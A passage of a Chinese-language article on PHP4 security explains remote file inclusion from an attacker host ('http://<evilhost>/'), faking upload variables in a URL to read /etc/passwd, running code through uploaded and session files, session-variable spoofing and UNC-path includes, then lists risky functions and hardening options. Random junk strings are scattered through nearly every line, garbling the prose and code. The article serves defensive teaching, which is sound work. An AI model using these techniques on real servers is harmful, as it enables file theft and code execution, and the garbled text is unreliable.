: P7 j. h# i. e* Y7 [" I3 J 然后把"$libdir"设置为"http://<evilhost>/",这样我们就可以在目标主机上执行上面的攻击代码,"/etc"目录的内容将作为结果返回到客户的浏览器中。/ d. P5 N" }9 \1 w5 L$ O" Z" V) n
: ~; a( B7 y4 J B# O& s
需要注意的是,攻击代码是不会在自身所在的服务器(也就是evilhost)上执行执行自身PHP程序的,否则,攻击代码会攻击自身所在的服务器,而不是在目标服务器执行。 4 B( L0 W \: ~3 n# q2 R / o2 C. y2 i k M' X6 u如何通过文件上载进行攻击?, P4 D r3 n# {6 \, g2 _; x
/ G4 x5 x! z! u. z
PHP自动支持基于RFC 1867的文件上载,我们看下面的例子: $ V& t* v. F6 [* vPHP代码( d% N9 i2 |. ]2 A* e' `/ z
5 q" l& N. c" W' J! o 1. <FORM METHOD="POST" ENCTYPE="multipart/form-data"> % P, Z- y! l5 Y) g8 u
2. <INPUT TYPE="FILE" NAME="hello"> ( @ t: l6 x9 n) z1 P7 I0 \4 e* e% U 3. <INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240"> % K- m0 b$ ]. J& p, b6 J( V 4. <INPUT TYPE="SUBMIT"> ' [7 A2 t0 a+ F
5. </FORM> % O4 ^- X4 [3 ~0 D0 n9 {% E" x0 y7 ?: c1 l1 v1 Y7 Y
上面的代码让用户从本地机器选择一个文件,当点击提交后,文件就会被上载到服务器。这显然是很有用的功能,但是PHP的响应方式将使这项功能变得不安全。当PHP第一次接到这种请求,甚至在它开始解析被调用的PHP代码之前,它会先接受远程用户的文件,检查文件的长度是否超过"$MAX_FILE_SIZE variable"定义的值,如果通过这些测试的话,文件就会被存在本地的一个临时目录中。6 p ^. G- b5 z m. N+ ~5 E2 b
因此,攻击者可以发送任意文件给运行PHP的主机,在PHP程序还没有决定是否接受文件上载时,文件已经被存在服务器上了。 . v0 F. ?6 j( Y8 i& M' `0 `) h% i1 R" v3 @! A$ B/ \
让我们考虑一下处理文件上载的PHP程序,正如我们上面说的,文件被接收并且是存在服务器上(位置是在配置文件中指定的,一般是/tmp),扩展名一般是随机的,类似"phpxXuoXG"的形式。PHP程序需要上载文件的信息以便处理它,这可以通过两种方式,一种方式是在PHP3中已经使用的,另一种是在我们对以前的方法提出安全公告后引入的。$ m+ w, }9 v6 O1 F5 H+ C& N
, L1 |! x7 r4 g# @
大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件,比如说上面的例子: / X. M& g+ R. a5 n" M& t2 t7 mPHP代码 / \% M3 z& O( |% V" V- B( f- ~4 ^- c: T, r0 C( H
1. $hello = Filename on local machine (e.g "/tmp/phpxXuoXG") / f9 l @( g: }. y* B
2. $hello_size = Size in bytes of file (e.g 1024) ! |1 D7 \0 M& ^# X+ n5 z r
3. $hello_name = The original name of the file on the remote system (e.g"c:\\temp\\hello.txt") 4 e" U) N7 @4 S8 E, P3 q 4. $hello_type = Mime type of uploaded file (e.g "text/plain") - S4 O' A" n/ E - z8 x2 N' g0 [3 r# b# c9 ^$ D 然后,PHP程序开始处理根据"$hello"指定的文件。问题在于"$hello"不一定是一个PHP设置的变量,任何远程用户都可以指定它。如果我们使用下面的方式:; l2 p* b5 I1 J( k
/ f- O1 I2 F7 t3 ]9 R! o" }
http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt J$ ^0 S ]: v 2 F/ V, d5 S/ H$ `" z: a: D. W就导致了下面的PHP全局变量(当然POST方式也可以(甚至是Cookie)):( D& p5 O# V5 u
PHP代码% L5 Y f& E# l8 ~$ r; x0 v
r3 L; u3 @' |2 h$ a9 l. E4 r, c7 l
1. $hello = "/etc/passwd" / a- u. S! |7 C, o ]8 z- c 2. $hello_size = 10240 % y7 R( ?2 X) Q. ^- w 3. $hello_type = "text/plain" - |' s& ]8 R9 v' D# c) F
4. $hello_name = "hello.txt" ! E* g8 i' l3 N: Z$ v) {" g* m! |. |! v i6 M' d
上面的表单数据正好满足了PHP程序所期望的变量,但是这时PHP程序不再处理本应在上载者本机上的上载文件,而是处理服务器上"/etc/passwd"(通常会导致内容暴露)文件。这种攻击可以用于暴露任何敏感文件的内容。4 Q, M6 D3 [9 n& d4 `0 w: u }: Z
; r0 q% ?* `" E8 E
新版本的PHP使用HTTP_POST_FILES[]来决定上载文件,同时也提供了很多函数来解决这个问题,例如有一个函数用来判断某个文件是不是实际上载的文件。但是实际上肯定有很多PHP程序仍然使用旧的方法,所以也很容易受到这种攻击。 . T8 x% g, b/ j) V$ v7 b* u - Y2 H4 C4 o0 F% }$ q" z' h作为文件上载的攻击方法的一个变种,我们看一下下面的一段代码:) {3 ~$ a. c3 J9 j
PHP代码, `$ t a) |% { m2 ~
8 {. L5 q: J M) K5 l
1. <?php - h( U; U+ ^9 O9 i8 d5 S
2. if (file_exists($theme)) // Checks the file exists on the local system (noremote files) I! b3 o4 L- Z 3. include("$theme"); - U+ ]6 T# t4 c# p& v/ H" U 4. ?> % I7 D* ^- k! u( _( o, M & O7 J/ Y# h/ W+ |$ C$ I 如果攻击者可以控制"$theme"的话,很显然它可以利用"$theme"来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令,但是他无法使用远程文件,因此,他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的,但是文件上载帮了我们这个忙,如果攻击者先在本地机器上创建一个包含PHP代码的文件,然后创建一个包含名为"theme"的文件域的表单,最后用这个表单通过文件上载把创建的包含PHP代码的文件提交给上面的代码,PHP就会把攻击者提交的文件保存起来,并把"$theme"的值设置为攻击者提交的文件,这样file_exists()函数会检查通过,攻击者的代码也将执行。 - p* }* k& V. n5 |获得执行任意指令的能力之后,攻击者显然想提升权限或者是扩大战果,而这又需要一些服务器上没有的工具集,而文件上载又一次帮了攻击者的忙。攻击者可以使用文件上载功能上载工具,把她们存在服务器上,然后利用他们执行指令的能力,使用chmod()改变文件的权限,然后执行。例如:攻击者可以绕过防火墙或IDS上载一个本地root攻击程序,然后执行,这样就获得了root权限。5 s. A: i! k M$ f7 f5 q" H5 c" o
7 ]6 }% ^, B& U! ~3 y8 q$ Z( c如何通过库文件进行攻击? ) C4 r' P# L; I/ f ; U1 b. @( G6 `" p# }! S5 B正如我们前面讨论的那样,include()和require()主要是为了支持代码库,因为我们一般是把一些经常使用的函数放到一个独立的文件中,这个独立的文件就是代码库,当需要使用其中的函数时,我们只要把这个代码库包含到当前的文件中就可以了。1 h8 w* X, C y
; C# R H$ V# d6 ~ }# O
最初,人们开发和发布PHP程序的时候,为了区别代码库和主程序代码,一般是为代码库文件设置一个".inc"的扩展名,但是他们很快发现这是一个错误,因为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时,我们就会得到该文件的源代码,这是因为当把PHP作为 Apache的模块使用时,PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的,一般是".php", ".php3"和".php4"。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中,那么远程攻击者很容易得到这些信息。3 |& C' {1 g( h1 q4 `7 U$ ~
2 |& r! J2 v: h& Z
最简单的解决方法就是:给每个文件都指定一个PHP文件的扩展名,这样可以很好的防止泄露源代码的问题,但是又产生了新的问题,通过请求这个文件,攻击者可能使本该在上下文环境中运行的代码独立运行,这可能导致前面讨论的全部攻击。 0 B3 q9 @9 s1 L O2 e6 L, s4 ~+ w$ ?2 Y; q) r7 Z
下面是一个很明显的例子: 8 H7 b) n- V5 k& G2 {8 J# \/ r/ ^PHP代码4 X8 f/ t% [. M8 F
6 P0 G: B9 Y) T0 C3 y/ N
1. In main.php: ) K o2 J0 Y, j) T7 t8 V* Q 2. <?php 2 D# R) y. ~3 G# \7 p 3. $libDir = "/libdir"; ) L! t; P( J D+ Y 4. $langDir = "$libdir/languages"; ) ]5 r5 V2 T" T: j
5. ... & Q& s- k6 H* q- \
6. include("$libdir/loadlanguage.php": * a7 K0 c9 Y( p* ` 7. ?> ( Y, X, M! @& y5 Z0 m2 j
8. ! D) I' o7 i! |2 g) G- {3 O, s! r
9. In libdir/loadlanguage.php: 5 P Z9 E( l U" G [. s! _
10. <?php ) l2 O" h. I/ P7 V4 g$ k% T 11. ... ; O8 f; ?/ Z) B' B' x- t; ~
12. 6 {- ?$ H$ S8 }/ j" b4 |
13. include("$langDir/$userLang"); 6 E m, D. p4 H t' t4 ^ 14. ?> $ [2 Z9 l4 M) n
. @" L$ G/ r! e v* K$ Q+ G
当"libdir/loadlanguage.php"被"main.php"调用时是相当安全的,但是因为"libdir /loadlanguage"具有".php"的扩展名,因此远程攻击者可以直接请求这个文件,并且可以任意指定"$langDir" 和"$userLang"的值。 ) X% g( B. N. O2 e4 ? ' s m ~ A U( c8 B如何通过Session文件进行攻击? # Z0 k# u+ ^/ _9 v! r) W5 c, N8 `" U: [7 b$ p
PHP 4或更新的版本提供了对sessions的支持,它的主要作用是在PHP程序中保存页与页之间的状态信息。例如,当一个用户登陆进入网站,他登陆了的这个事实以及谁登陆进入这个网站的相关信息都将被保存在session中,当他在网站中到处浏览时,所有的PHP代码都可以获得这些状态信息。* \5 Z( _% T, u: n! e- M
3 P& `9 l$ E, F' E' }; V0 e
事实上,当一个session启动时(实际上是在配置文件中设置为在第一次请求时自动启动),就会生成一个随机的"session id",如果远程浏览器总是在发送请求时提交这个"session id"的话,session就会一直保持。这通过Cookie很容易实现,也可以通过在每页提交一个表单变量(包含"session id")来实现。PHP程序可以用session注册一个特殊的变量,它的值会在每个PHP脚本结束后存在session文件中,也会在每个PHP脚本开始前加载到变量中。下面是一个简单的例子:' @/ G6 X9 D- I; G5 ]
PHP代码 1 R6 @# r% H$ d* i2 p2 ~. @7 b3 O& d/ }" S! ~3 H' X
1. <?php 9 D" v8 e/ U7 Q) v
2. session_destroy(); // Kill any data currently in the session 8 Y; v7 a8 M. P2 G- s
3. $session_auth = "shaun"; 8 z. P: e6 m6 T" j" d- ` 4. session_register("session_auth"); // Register $session_auth as a session variable - }7 G3 ~) s- o' F! l
5. ?> 5 L" G3 n) ~; R& n. x
r! ] v5 k& a- j* A" t/ C新版本的PHP都会自动把"$session_auth"的值设置为"shaun",如果它们被修改的话,以后的脚本都会自动接受修改后的值,这对无状态的Web来说的确是种很不错的工具,但是我们也应该小心。 & a# `# u+ R4 j" v$ i% q9 z* M$ v: j% `, t5 M& l m& [1 N# y# c
一个很明显的问题就是确保变量的确来自session,例如,给定上面的代码,如果后续的脚本是下面这样的话: / S k, d( C7 A, OPHP代码 5 P3 G# h2 m% C 8 D, a3 _( S" U& d: d4 [( V% S 1. <?php 9 R" V5 K# b- `6 `) t+ `6 J 2. if (!emptyempty($session_auth)) . H* R5 [6 M* `, F
3. // Grant access to site here ' F7 q4 T- Z, Y8 |
4. ?> - W6 `3 B' D$ n; t& W0 h8 m
/ v' ?: F }2 K$ c 上面的代码假定如果"$session_auth"被赋值的话,就是从session,而不是从用户输入来赋值的,如果攻击者通过表单输入来赋值的话,他就可以获得对站点的访问权。注意攻击者必须在session注册该变量之前使用这种攻击方法,一旦变量被放进了session,就会覆盖任何表单输入。/ i# J, W4 Q8 j1 J* Y
- t( T- _8 ~( W% ]$ l
Session数据一般是保存在文件中(位置是可配置的,一般是"/tmp"),文件名一般是类似"sess_<session id>"的形式,这个文件包含变量名称,变量类型,变量值和一些其它的数据。在多主机系统中,因为文件是以运行Web服务器的用户身份(一般是 nobody)保存的,因此恶意的站点拥有者就可以通过创建一个session文件来获得对其它站点的访问,甚至可以检查session文件中的敏感信息。 R8 Z+ H0 A2 h9 \, E
8 J' f% k+ d# |1 p
Session机制也为攻击者把自己的输入保存在远程系统的文件中提供了另一个方便。对于上面的例子来说,攻击者需要在远程系统放置一个包含PHP代码的文件,如果不能利用文件上载做到的话,他通常会利用session为一个变量按照自己的意愿赋一个值,然后猜测session文件的位置,而他知道文件名是"php<session id>",所以只需猜测目录,而目录一般就是"/tmp"。/ I% c( h$ p" }$ v+ c2 f
8 Z1 y" g2 L1 D7 v, d
另外,攻击者可以任意指定"session id"(例如"hello"),然后用这个"session id"创建一个session文件(例如"/tmp/sess_hello"),但是"session id"只能是字母和数字组合。 1 C1 r4 [1 W: f/ U. U2 ^9 Z4 |$ l T# {. R
如何通过数据类型进行攻击?4 s$ a6 m3 z R- C2 r* h
4 m/ r2 h2 j6 ^
PHP 具有比较松散的数据类型,变量的类型依赖于它们所处的上下文环境。例如:"$hello"开始是字符串变量,值为"",但是在求值时,就变成了整形变量"0",这有时可能会导致一些意想不到的结果。如果"$hello"的值为"000"还是为"0"是不同的,empty()返回的结果也不会为真。; M- Y) b4 A, O4 F3 U
$ }4 ^, {+ P$ }4 ^( s
PHP中的数组是关联数组,也就是说,数组的索引是字符串型的。这意味着"$hello["000"]"和"$hello[0]"也是不同的。 J' Z, z9 e( L( \, D ? 6 E' C# e5 n/ c- I5 D. w4 b- x7 U7 V/ `开发程序的时候应该仔细地考虑上面的问题,例如,我们不应该在一个地方测试某个变量是否为"0",而在另外的地方使用empty()来验证。 - F- \0 O$ a3 m1 w5 O% p- w) p" J T, ~" w
如何通过容易出错的函数进行攻击?下面是一份比较详细的容易出错的函数列表:1 a9 j1 N: n- Y2 C5 m- P) a
PHP代码 # r! x% B, \8 j* {0 H* _7 ?& [ 9 b! n+ U! {; d) x6 T 1. <PHP代码执行> * u+ V& n" O6 |* K0 K3 [ 2. require():读取指定文件的内容并且作为PHP代码解释 , _$ O% P+ t+ r, S
3. include():同上 v3 B0 `0 a% s; a
4. eval():把给定的字符串作为PHP代码执行 8 s8 f5 i7 d; }6 {: w+ j2 c
5. preg_replace():当与"/e"开关一起使用时,替换字符串将被解释为PHP代码 ! g2 d0 p1 j" f: U1 l5 G" e
6. # U. B5 k. b9 R* [5 y5 d- t( V
7. <命令执行> - u; I# f4 f b- t 8. exec():执行指定的命令,返回执行结果的最后一行 5 P% i/ y* s) \% r
9. passthru():执行指定命令,返回所有结果到客户浏览器 4 S) r9 [. B9 f! ]2 G2 n" k 10. ``:执行指定命令,返回所有结果到一个数组 # s# {( _8 ]' b' Z' K. ^ v, ?& Z
11. system():同passthru(),但是不处理二进制数据 6 Q& _2 ^ |; T: |- c! d+ [
12. popen():执行指定的命令,把输入或输出连接到PHP文件描述符 ) d0 `9 x K7 t; N! P5 q
13. % C* x6 T+ X8 ?. Y6 L$ B/ x$ G
14. <文件泄露> - l, ~) n G$ V/ u w. w$ t3 ?
15. fopen():打开文件,并对应一个PHP文件描述符 7 Y; s* z; d' q+ {0 H/ O3 F
16. readfile():读取文件的内容,然后输出到客户浏览器 $ y8 J# {9 s0 D' h/ ]0 n' s 17. file():把整个文件内容读到一个数组中 ! F$ o4 i7 p4 \5 C6 ~" r
! Z( P+ T3 y t
如何增强PHP的安全性?. Z% u8 m8 _8 R/ s+ z8 M: D
: q& D. u3 \. Z& ]- W
我们在上面介绍的所有攻击对于缺省安装的PHP4都可以很好的实现,但是PHP的配置非常灵活,通过配置一些PHP选项,我们完全可能抵抗其中的一些攻击。下面我们按照实现的难度对一些配置进行了分类: ! |# x( ?6 j Y; K( Q" `& o( D) _: u/ o+ J/ \1 x
*低难度7 k, l2 U# }9 U# {
**中低难度 # U; b# ~; E) o***中高难度: B6 x, A# y) F( E& r
****高难度7 N3 w' \7 U) w: i1 w) P7 u0 `% W
5 L8 T0 N# C- g* T+ Y如果你使用了PHP提供的所有选项的话,那么你的PHP将是很安全的,即使是第三方的代码也是如此,因为其中很多功能已经不能使用。 - A g- t0 b! S) S1 E( G8 _& u , a2 m0 Z* e9 g0 i! ]6 _0 G**** 设置"register_globals"为"off" ; G8 \3 K) W% U+ Z这个选项会禁止PHP为用户输入创建全局变量,也就是说,如果用户提交表单变量"hello",PHP不会创建"$ hello",而只会创建"HTTP_GET/POST_VARS['hello']"。这是PHP中一个极其重要的选项,关闭这个选项,会给编程带来很大的不便。/ `# p0 P/ D7 [* K* M
% b2 @4 j* Q3 A1 H1 R# ?; Z
*** 设置"safe_mode"为"on" 8 ?' M1 H2 T! K3 o. | ( A' p8 X* D. r6 ]: W打开这个选项,会增加如下限制: / _3 z ~( z# V( }% u% H: k% s6 r F( _( f- e1 ?
1. 限制哪个命令可以被执行 4 H' G) a% ?- [3 s. O0 B2. 限制哪个函数可以被使用 8 d8 k* G8 e0 z" }! t3. 基于脚本所有权和目标文件所有权的文件访问限制/ _3 L A( j% _$ e. @6 G
4. 禁止文件上载功能 2 L1 q X7 d2 E1 Y + T2 X @8 ]) G* S* F0 C这对于ISP来说是一个"伟大"的选项,同时它也能极大地改进PHP的安全性。" N8 i* y& k, s
1 U: @& O. l6 q+ A, e** 设置"open_basedir"' s; J1 ?. a5 U
, U2 j" {% A) H0 D3 b, M& ]
这个选项可以禁止指定目录之外的文件操作,有效地消除了本地文件或者是远程文件被include()的攻击,但是仍需要注意文件上载和session文件的攻击。 8 J/ T, {/ ^# i* ?5 G8 @; S8 L ^: d+ q# Q% Y8 ~
** 设置"display_errors"为"off",设置"log_errors"为"on"* ^" A; L- y: P5 G! X- A" e
# D' c; ?4 V d4 z: D这个选项禁止把错误信息显示在网页中,而是记录到日志文件中,这可以有效的抵制攻击者对目标脚本中函数的探测。( \, \9 S$ E) l# J( Y
2 t: q( M { J0 i. `0 V+ q2 s* 设置"allow_url_fopen"为"off" + x4 V# g4 k' ^/ t1 ]4 w9 H& | 4 M! p- h" z" T! v# ~这个选项可以禁止远程文件功能。 # Y; U( C* c' }4 o% w6 d / O1 g d* U9 B4 h* r # |1 w, D* E: g$ z - j1 p7 g9 e* y& q//这里allow_url_fopen 注意下,在jnc blog上看到,可以用 " z5 P; ?/ \8 v& h6 ^4 \PHP代码 6 G) b8 j. r* x& n; t7 [) F2 W% j8 Q, t9 l; Q6 m, s, r2 J
1. <?php 2 S+ d8 q2 o! @, O$ u1 b9 L
2. include('\\myip\test.php'); . w' I, A% Q6 F3 s
3. ?> 8 y: m+ B" C2 ?, ~ 4. 9 c' `! g: q* s5 P1 v8 Y* T
5. <?php ; o! f$ H- n& `3 [ 6. include('//myip\test.php'); 9 W3 k# w; {( B' J$ T) X
7. ?> ) ?' s6 {) f% p: r